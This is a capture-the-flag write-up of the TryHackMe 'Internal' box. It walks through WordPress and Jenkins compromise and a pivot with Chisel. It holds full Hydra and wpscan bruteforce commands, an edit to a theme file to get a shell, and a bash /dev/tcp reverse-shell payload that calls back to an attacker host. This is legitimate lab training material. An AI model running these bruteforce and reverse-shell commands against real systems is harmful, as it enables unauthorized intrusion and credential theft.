Internal | Wordpress, Jenkins, Chisel

Tackling a couple of content management systems such as Wordpress and Jenkins, bruteforcing credentials and some pivoting using Chisel

by Johann Van Niekerk

Internal | Wordpress, Jenkins, Chisel

Share

💡
Disclaimer: All topics discussed are intended solely for research purposes and not intended or endorsed for illegal activity.

Internal is a TryHackMe box in the same category as Relevant in that the content contained is very helpful with preparing for the eCPPT and OSCP exam methodology. The box contains pivot and understanding some basic web application vulnerabilities, basic vulnerabilities of weak password protections and leaving behind cleartext credentials within textfiles.

Internal Write Up

Tackle jumping from external service to internal service

Target Network Report

Name of Target:

Internal

System Enumeration

NMAP SCAN:

# NMAP SCAN
sudo rustscan --ulimit 3000 -t 2000 -a 10.10.205.181 -- -sV -sC                                                                                                                                                                                                                                                             
Open 10.10.205.181:22                                                                                                                                                                                                                                                                                                         
Open 10.10.205.181:80      

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NMAP scanning returns with port 22 for SSH and port 80 for a webservice. Initially tackling the service with the most likely vulnerability is going to benefit these capture-the-flag situations as typically SSH will be the most difficult to crack. Normally SSH is not a vulnerable point unless there are credentials or atleast usernames.

Port 80

Inspecting the IP address on the webbrowser will bring forward a default ubuntu/apache2 landing page. Having a quick look at the source page verifies that it is nothing sneaky and only contains the default setup. It is always important to have scans running in the background while assessing the target. In this instance feroxbuster will be handy for this webservice.

feroxbuster -n -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.205.181

feroxbuster returns with some interesting results that is beyond the default apache landing page

directories found

/phpmyadmin/

An interesting entry appears in /phpmyadmin. A better understanding of the target webservice is important and visiting each of the entries will start to make it clearer what the role of this service is for.

Visiting /phpmyadmin ends up with a login page. Inspecting the source page and details does not return any further info.

The service can be bruteforced however it is not recommended without understanding the target; if there might be blacklists, whitelists, or authentication protections that may block the attacker from too many attempts. At this stage it is still important to enumerate further.

/blog/

/blog ends up with a page that only half-loads. Inspecting the elements on the page shows referrences to a domain name internal.thm.

webpage not showing all content due to host resolution

For example hovering over an entry link "Hello World" has reference to internal.thm

If following along, it would appear that the ip address is not resolving to the domain name. Adding the host name to the /etc/hosts will clear this up

echo "10.10.49.146 internal.thm" >> /etc/hosts

Reloading the /blog page now resolves and displays correctly. Jumping around the page displayed shows a potential username. Furthermore, it displays that the webservice is a running Wordpress site.

webpage with hosts file updated for resolution

There is a nifty tool called wp-scan that is a specific wordpress scanner. It has numerous options to exfiltrate information on a Wordpress site as well as brute forcing login credentials and so forth. This tool will prove valuable whenever dealing with a wordpress site. Target the /blog with following to enumerate more info

#Wordpress scanner
    wpscan --url 10.10.205.181/blog

wpscan ends up finding that XML-RPC is enabled and that is NOT uncommon for wordpress. Regardless, inspecting and testing for XM-RPC exploitation is still worth while.

From the /blog page, the username list includes 'admin' so far and typically Wordpress login is from the /blog root directory; manual testing or feroxbuster would lead to finding the login page at /blog/wp-login.php.

Wordpress is also often times providing more information than it should. In this instance testing the login returns:

Then testing with admin returns

There are several methods to attack this page and below is a few methods. The method you select depends the reliability or experience with the tool and the information gathered so far. Included is also the method to determine usernames if the /blog page did not include any identifiable usernames initially to test. Refer to the Hydra entry for further understanding of the tool, its capabilities and syntax

Hydra Determine Usernames
#USERNAME Enumeration
    -L $Wordlist       :contains usernames
    -p test            :clear text password, does not matter what it is.
    http-post-form     :Indicating that hydra is to send a POST request
    log=^USER^         :Instruct hydra where usernames go in webpage
    pwd=^PASS^         :Instruct hydra where passwords go in webpage, in this instance 'test' is the only entry
    Unknown usern...   :Instruct hydra what visual feedback, ie a string, determines if the login is successful or not, in this instance if the username is successful

    hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p test 10.10.205.181 http-post-form "/blog/wp-login.php:log=^USER^&pwd=^PASS^:Unknown username. Check again" -t 30 -I -V
Hydra Bruteforce

Bruteforcing the page with Hydra with the following syntax. This leads on from 'Determine Usernames' subsection.

#WPSCAN bruteforce
    hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.205.181 http-post-form "/blog/wp-login.php:log=^USER^&pwd=^PASS^:The password you entered for the username" -t 30 -I -V
Wpscan Bruteforce

Alternatively, using the wordpress scanner to bruteforce is also optional.

#WPSCAN bruteforce
    wpscan --url 10.10.205.181/blog --usernames admin --passwords /usr/share/wordlists/rockyou.txt --max-threads 50 --wp-content-dir wp-login
Metasploit Bruteforce

Lastly, as information gathered from XML-RPC, there is a rapid7/metasploit module wordpress_xmlrpc_login.
Using this tool will also perform a bruteforce attack for vulnerable XML-RPC logins.

Admin Panel

Login in to the admin panel for the /blog wordpress site. It is almost always a given that there will be some form of code execution available from the admin login that will lead to a reverse shell on the target. The difficulty lies in finding out where.

Scouring the admin access leads to a couple of interesting bits of information.

Leftover files or entries are not uncommon as admins typically don't expect an attacker to reach this point. Messages, private messages, leftover configurations and so forth will provide vital information going forward.

The admin has left the following to-do list. Note that this is a capture-the-flag scenario and while we take note of all credentials; it is important to not bang heads and hyperfocus on one aspect that might be a rabbit hole. Test the information uncovered and then move on.

credentials left in unpublished CMS page

The only services known with authentication requirements are the /phpmyadmin/ and the SSH service. Attempting credentials on these services did not work anywhere. Additionally, from the admin login, it is visible that william is not a user on the website.

Further enumeration finds theme editor and a common issue with Wordpress is that it is possible to have code placed within theme's that leads to being vulnerable.

theme editor under appearance

Having a look at the themes such as TwentySeventeen and looking at the theme's pages such as the 404.php page; code placed within this page and accessing the page through the browser ends up leading to successfully receiving a reverse shell from the target.

Note: Wordpress Theme directory is as follows:

#Wordpress theme directory
    $RHOST       :target
    $THEME       :Theme name, in this instance "TwentySeventeen"
    $SHELL.php   :The page that was edited, in this instance "404.php"
    
    $RHOST/blog/wp-content/themes/$THEME/$shell.php
code replaced with shell on 404.php page

Navigating to the 404.php page leads to the code running. Having a listener active captures the reverse shell connection.

accessing the 404.php page through browser

This lead to a shell as the www-data user. Not shown is the output from reading the /etc/passwd file and we confirm the william user does not exist. The credentials found on the blog is indeed a rabbithole for distraction.

Through enumeration and checking the listening tcp ports; what is found is that there are 3 internal IP:PORTS that appear to be internal on the loopback address only. Meaning the services are only available for the [victim] to access and not available for the [attacker] to access.

Port 3306 is a common port for mysql and likely this would be the server hosting the Wordpress site. Port 8080 is of particular interest as it is an uncommon port in relation to services but it is not uncommon for this to be another webservice that might be used for testing purposes. The likely vulnerability and entry here might be port 8080. To access this internal loopback, a reverse tunnel or portfowarding is required in order to see the content on the 127.0.0.1:8080 service. Port 44065 is also interesting for similar reasons however targetting the most likely attack vector here may save time and headaches.

The perfect tool to use here is Chisel in order to create a tunnel to the resource. The following is a quick guide on how this is set up. Chisel is similar to SSH tunnelling in attempting to create a direct tunnel to the target and have the content become available to the [attacker] as well.

#SETUP CHISEL ON ATTACKER
    ./chisel server -p 18110 -reverse		    :[Attacker] Running program as server locally, select whatever port you want, used port 18110 here as example.

#TRANSFER CHISEL TO VICTIM
    sudo python -m SimpleHTTPServer 80			                            :[Attacker] Setup server to transfer "chisel"
    which wget				                                                :[victim] check if wget is available on victim machine
    wget "http://$RHOST:$RPORT/chisel"										:[victim] Download file from [attacker] server, place in %tmp% folder

#TARGET
    $RHOST		:[Attacker] IP
    $OPENPORT	:Port found through netstat on [Target]

    ss -nltp														:[Target], Determine listening TCP ports, loopback addresses and so forth
    ./chisel client $RHOST:18110 R:8080:127.0.0.1:8080	:Running program as client on [victim]

#ACCESS TUNNELLED CONTENT
    http://127.0.0.1:18110			:[Attacker], If successful then able to access the content on localhost for the port and service that was otherwise blocked off.

Port 8080

Success! With this access, the webservice displays another content manager, Jenkins service displayed locally on 127.0.0.1:8080

Jenkins available on 127.0.0.1:8080 address

So far have uncovered a single user Admin, and it is possible to attempt to bruteforce this login service as well. Having this run in the background allows other activities and enumeration to happen at the same time. Using hydra is a great tool to tackle authentication bruteforcing as seen before. Same as before; Hydra requires to know where on the webpage the bruteforcing and testing is supposed to occur. This means finding the variables for the username box and the password box. You will need to use a tool such as Burp Suite or the dev tools within the browser to view what happens when you attempt a test login such as username: test and password: test.

Observing the POST REQUEST will show what the packet is sending and what variables is being used. These variables are required for Hydra to work with the HTTP POST requests and bruteforcing successfully.

Hydra Bruteforce

Note:

In saying that, this is the Hydra attempt on the Jenkins service:

-P $WORDLIST : File such as rockyou.txt
-e nsr       : Attempt the username as '' 'admin' or 'nimda'
-s 8080      : The port here is the port of the internal system
127.0.0.1    : The ip is no the target but the loopback address. Remember we are using a reverse tunnel still
http-post-form: The form we are using is a POST parameter

hydra -e nsr -l admin -P $WORDLIST 127.0.0.1 -s 8080 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password" -I

The bruteforce was successful and credentials have been uncovered. With this, it is possible to login to the admin panel within Jenkins.

Admin Panel

Same as before, at this point the objective is the enumerate on the content manager admin panel and find where to exploit code execution or find further misconfigurations and leftover information that could be useful.

From experience, Jenkins has a Commandline and Build section that allows code execution. With this, first attempting whoami command returns the name of the user and confirms that code execution is available here.

In order to exploit the code execution; setup the reverse shell code within the build configure and get ready to capture the connection with a listener.

#PAYLOAD
    $RHOST : Attacker listening IP
    $RPORT : Listening port
    bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'

#LISTENER
    nc -lvnp 4445

Afterwards hitting Build, the webservice Jenkins begins to compile and run the code. Having a look at the listener has captured a connection. Scouting around then finding a note in the /opt/ directory: Note contains user:password for the root user.

With this there is a successful root:pass entry and able to get the flag located in the /root/ folder. Meanwhile we can also test the user credentials found for the sake of enumerating and exfiltration more information.

Additional credentials also found for another user. The original step was to obtain next user credentials going from www-data user >> aubreanna user >> SSH and loopback address then root user.
This has skipped the additional user step. Regardless it is worth while looking for all credentials and usernames as a collection of data.

Mainly didn't bother with the initial aubreanna user flag at the start and kept enumerating using the www-data user. This lead to root and then backpedaled to show geting the user flag. The aubreanna users' credentials was located in the /opt/ directory and initially accessed through the shell on the wordpress reverse shell when first exploited.

Overall, Internal is great practise in understanding content management systems and how to exploit them after the fact of obtaining access to the admin panels. Getting to know how Wordpress admin panel works, then practising Jenkins admin panel as well. Then from accessing the hosts of these webservices and exploring the system and pivoting internally to a webservice that would otherwise not be available.

And finally, if you enjoyed the content and want to see more; Feel free to join in or leave messages. 👌